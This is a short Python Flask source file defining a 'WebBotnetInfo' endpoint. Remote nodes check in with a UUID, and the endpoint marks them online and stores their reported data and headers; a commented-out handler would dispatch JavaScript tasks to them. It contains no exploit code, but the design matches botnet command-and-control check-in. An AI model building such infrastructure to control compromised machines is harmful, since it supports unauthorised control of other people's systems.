#!/bin/env python3
# -*- coding:utf-8 -*-
"""
    [模块名]
    Add By : cdj <e4ting@qq.com> 2021-07-14 17:57:18
"""
from flask_restful          import Resource
from flask                  import redirect,request,make_response

from e4ting                 import util,log
# from common.utilredis       import NewID
from e4ting.cache           import UUIDCache, OnlineCache
from models.mongos          import DB
# from e4ting.task            import Async
# from bin.master             import Master

class WebBotnetInfo(Resource):

    # def get(self, id=None):
    #     """ 任务 """
    #     uuid = id or request.args.get("uuid", None)
    #     log.info(uuid)
    #     cache = UUIDCache(uuid)
    #     if not cache.exists():
    #         return dict(code=404, data=None)
    #     cache.onlinetime = util.now()
    #     data = Master().get_js_task()
    #     return dict(code=200, data=data)

    def post(self, id=None):
        """ 接受节点上报的数据，节点存活的证明 """

        uuid = id or request.json.get("uuid", None)
        # role = request.json.get("role", "spider")
        cache = UUIDCache(uuid)
        if not cache.exists():
            log.info(f"节点 {uuid} 不存在")
            return dict(code=404, data="node not found")

        OnlineCache(uuid).set(ip=request.remote_addr)  # 标记为在线设备
        DB.clients[uuid] = dict(request.json, online=True, **dict(request.headers))
        log.info(f"节点 {uuid} 上报数据 {request.json}")
        return dict(code=200, data="ok")

